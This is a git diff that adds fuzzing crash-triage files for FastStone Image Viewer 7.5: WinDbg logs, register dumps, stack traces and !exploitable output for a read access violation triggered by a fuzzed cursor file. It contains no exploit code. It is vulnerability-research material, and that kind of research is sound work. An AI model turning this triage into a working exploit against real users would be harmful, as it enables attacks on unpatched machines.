+INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e8d286f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20394/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..80d1455 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..e7662cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(d8c.1c64): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f07b10 edx=00003879 esi=12738f10 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.696e-012 -6.10574e+029 2.51671e+010 8.46321e+009 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023c000 c56c3a9e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e7662cf --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/20722/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(d8c.1c64): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07f07b10 edx=00003879 esi=12738f10 edi=0fc6afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.749491301075272800000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=4.696e-012 -6.10574e+029 2.51671e+010 8.46321e+009 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fe8130 07f65930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023c000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023c000 c56c3a9e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023c000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 